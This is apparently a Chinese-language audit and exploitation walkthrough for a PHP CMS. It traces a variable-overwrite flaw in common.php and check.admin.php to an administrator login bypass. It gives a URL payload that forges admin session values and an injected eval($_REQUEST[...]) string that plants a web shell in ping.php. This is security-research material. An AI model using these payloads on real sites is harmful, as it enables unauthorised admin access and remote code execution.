用工具seay审计代码我这里出现变量覆盖中的$$进一步跟进审计找到common.php文件
判断这个第52行foreach语句成功执行的前提条件
对上面28行到第34行代码分析,我们必须要传入一个参数$_k,键名里有cfg_和GLOBALS并且Cookie传参中没有键名就会执行if条件语句我们要不满足以上条件来执行我们的foreach语句只要不进入if分支,就可以通过common.php文件实现任意代码执行回到第54行
继续分析在这里查找_RunMagicQuotes函数定位它在上面
这段代码定义了一个名为 _RunMagicQuotes
的函数,该函数用于处理 PHP 中的 "magic quotes" 功能。Magic quotes 是一个在旧版 PHP 中被弃用的功能,它自动对从客户端接收到的数据进行转义,以防止 SQL 注入等安全问题。
因此我们需要找到这个项目当中谁用到这个common.php文件全局搜索文件
找到id=8这个文件审计代码
从第42行开始审计,查找第64行keepuser()这个函数定位
审计check.admin.php文件
它使用了会话(session)来存储用户的信息。
我们需要构造的有:
$_SESSION[duomi_admin_id]=userID
$_SESSION[duomi_group_id]=groupid
$_SESSION[duomi_admin_name]=username
以上我们构造userID和username
因此我们可以利用session来伪造管理员登陆后台我们继续查找它满足的条件是什么
首先必须开启session并且必须引用common.php文件,session在引用common.php文件之前生效才能用自己的session登陆后台继续找符合条件的文件
找到id=11
在这个文件中传入url的session构造payload
?_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=66
登陆后台
写shell
找后台功能有没有注入点
发现关键信息,我们输入一些信息查看是否保存到ping.php文件
发现直接写入到文件,我们只需要绕过就可以插入恶意代码
构造
aaa";eval($_REQUEST[111]);"
访问